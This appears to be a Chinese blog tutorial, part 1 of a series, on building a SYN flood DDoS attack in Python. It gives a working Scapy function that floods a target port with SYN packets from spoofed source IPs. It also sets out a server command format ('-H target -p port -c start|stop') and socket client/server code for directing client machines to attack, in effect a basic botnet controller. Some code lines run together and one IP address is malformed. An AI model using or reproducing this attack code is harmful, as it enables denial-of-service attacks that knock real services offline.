用Python-scapy實現SYNDdos攻擊(1)

一、用Python的Scapy--Scapy3k實現泛洪攻擊

基礎知識介紹:
SYN介紹
SYN 泛洪攻擊
Scapy3k官方文檔

先安裝scapy:sudo pip3 install scapy-python3

用Scapy構造一個簡單的數據包看一下:pkt = IP(dst="192.168.0.100")
構造SYN數據包: IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

以上構造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的。IP包中我們指定了源地址src和目的地址dst,其中src是我們偽造的地址,當然這也是DoS攻擊中保護攻擊者的一種方式。flags的值我們設定為S,說明我們要發送的是SYN數據包。非常簡短的一段指令就夠造了一個偽造了源IP地址的SYN數據包。

接下來就要發送pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")send(pkt)

代碼實現(用Python隨機生成IP地址、端口發送SYN數據包):

import randomfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet)

二、上面就完成了基本的腳本實現SYN泛洪攻擊,現在采用客戶端、服務器方式實現Ddos攻擊

  • 由于server端需要發送命令去控制Client端發送攻擊,所以先規定命令格式
    '#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
    (-H后面是被攻擊主機的IP地址,-p指定被攻擊的端口號,-c控制攻擊的開始與停止。)
  • 在server端解析命令就需要一個叫 argparse 的庫,基本用法:
導入argparse庫

import argparse

創建ArgumentParser對象

parser = argparse.ArgumentParser(description='Process some integers.')

添加參數

parser.add_argument('-p', dest='port', type=int, help='An port number!')

解析命令行參數

args = parser.parse_args()print('Port:',args.port)

上面創建了一個ArgumentParser對象,description參數是對命令行解析的一個描述信息,通常在我們使用-h命令的時候顯示。add_argument添加我們要解析的參數,這里只添加了一個-p參數,dest是通過parse_args()函數返回的對象中一個屬性的名稱。type就是解析參數的類型。help指定的字符串是為了自動生成幫助信息。argparse默認就支持-h參數,只要在添加參數的時候指定了help的值就可以生成幫助信息了。

三、socket模塊

Python中的socket提供了訪問BSDsocket的接口,可以非常方便的實現網絡中的信息交換。通常使socket的時候需要指定ip地址、端口號以及協議類型。通俗的講主動發起連接請求的稱為客戶端,監聽端口響應連接的我們稱為服務器。

  • 客戶端
    #導入socket庫
    import socket
    #創建socket:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #建立連接
    s.connect(('192.168.0,100', 7786))
  • 服務器端
    #導入socket庫 import socketcliList = []
    #創建socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #綁定地址和端口號 s.bind(('0.0.0.0', 7786)):
    #開始監聽 s.listen(10) while True:
    # 接受一個新的連接: sock, addr = s.accept()
    #將sock添加到列表中 cliList.append(sock)
    在創建玩socket之后,要綁定一個地址和端口,這里的0.0.0.0表示綁定到所有的網絡地址,端口號只要不是已經使用的端口號就可以了。之后開始監聽端口,并在參數中指定最大連接數為10。最后循環等待新的連接,并將已連接的sock對象添加到了一個列表中。注意這里accept()默認是阻塞的,還可以通過settimeout()設定等待時間或者setblocking()設置為非阻塞模式,更多的相關細節可以查看Python官方文檔
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容